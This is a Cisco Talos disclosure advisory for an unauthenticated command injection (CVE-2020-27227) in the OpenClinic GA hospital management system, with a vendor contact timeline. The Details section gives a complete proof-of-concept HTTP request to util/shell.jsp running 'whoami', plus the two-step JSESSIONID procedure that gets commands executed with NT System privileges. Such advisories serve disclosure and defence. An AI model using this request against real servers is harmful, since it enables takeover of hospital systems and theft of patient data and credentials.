Talos Vulnerability Report

TALOS-2020-1203

OpenClinic GA unauthenticated command injection vulnerability

APRIL 13, 2021

CVE NUMBER

CVE-2020-27227

Summary

An exploitable unatuhenticated command injection exists in the OpenClinic GA 5.173.3. Specially crafted web requests can cause commands to be executed on the server. An attacker can send a web request with parameters containing specific parameter to trigger this vulnerability, potentially allowing exfiltration of the database, user credentials and compromise underlying operating system.

Tested Versions

OpenClinic GA 5.173.3

Product URLs

https://sourceforge.net/projects/open-clinic/

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

Details

OpenClinic GA is an open source fully integrated hospital management solution.

A command injections have been found in OpenClinic GA. A successful attack could allow an attacker to compromise the server. The hollowing request could be used to trigger this vulnerability however the procedure described below needs to be followed.

```
POST /openclinic/util/shell.jsp HTTP/1.1
Host: [IP]:10080
Content-Length: 8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[IP]:10080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.9
Referer: http://[IP]:10080/openclinic/util/shell.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Cookie: JSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAA

c=whoami
```

Note that in order to exploit this vulnerablity, an attacker needs to issue request twice. First, with a random `JSESSIONID` cookie, to which the server will reply with new `JSESSIONID` and redirection to ‘relogin’. The attacker simply needs to take this new `JSESSIONID` cookie value and use it in follow up exploit attempt, at which point the server will accept the request as valid and will execute the request with `NT System` privileges

Timeline

2020-11-19 - Initial contact
2020-12-07 - 2nd contact; copy of advisories issued and vendor acknowledged receipt
2021-02-01 - 60 day follow up; no response
2021-03-09 - 90 day follow up; no response
2021-03-22 - Final notice
2021-04-12 - Public disclosure

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT
TALOS-2020-1204

NEXT REPORT
TALOS-2020-1202